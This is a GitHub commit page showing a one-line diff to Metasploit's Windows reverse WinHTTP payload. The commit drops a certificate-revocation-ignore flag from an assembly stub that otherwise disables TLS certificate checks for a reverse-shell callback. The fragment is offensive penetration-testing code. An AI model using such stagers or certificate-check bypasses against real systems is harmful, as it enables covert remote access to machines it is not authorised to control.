Skip to content

Commit a57f02b

Browse files
author
HD Moore
committed
Remove invalid SECURITY_FLAG_IGNORE_REVOCATION flag
1 parent b604599 commit a57f02b

File tree

1 file changed

+1
-2
lines changed

1 file changed

+1
-2
lines changed

lib/msf/core/payload/windows/reverse_winhttp.rb

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -186,12 +186,11 @@ def asm_reverse_winhttp(opts={})
186186
asm << %Q^
187187
; WinHttpSetOption (hInternet, WINHTTP_OPTION_SECURITY_FLAGS, &buffer, sizeof(buffer) );
188188
set_security_options:
189-
push 0x00003380
189+
push 0x00003300
190190
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
191191
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
192192
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
193193
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
194-
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
195194
mov eax, esp
196195
push.i8 4 ; sizeof(buffer)
197196
push eax ; &buffer

0 commit comments

Comments
 (0)